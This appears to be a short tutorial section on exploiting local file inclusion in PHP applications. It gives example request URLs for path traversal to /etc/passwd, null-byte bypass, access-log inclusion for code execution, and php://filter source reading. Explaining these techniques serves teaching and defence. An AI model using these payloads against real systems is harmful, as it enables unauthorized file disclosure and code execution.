Exploitation

1. Basic LFI Attack:

   • An attacker can manipulate the input to include files from the server. For example:
     Copy

     http://example.com/index.php?page=../../etc/passwd

2. Null Byte Injection:

   • In some cases, appending a null byte (%00) can bypass file extension checks:
     Copy

     http://example.com/index.php?page=../../etc/passwd%00

3. Log File Inclusion:

   • If the application logs user input, an attacker can include log files to execute arbitrary code:
     Copy

     http://example.com/index.php?page=/var/log/apache2/access.log

4. PHP Wrappers:

   • Using PHP wrappers (e.g., php://filter) to read files:
     Copy

     http://example.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

Posted 2025-08-20 · Updated 2026-09-08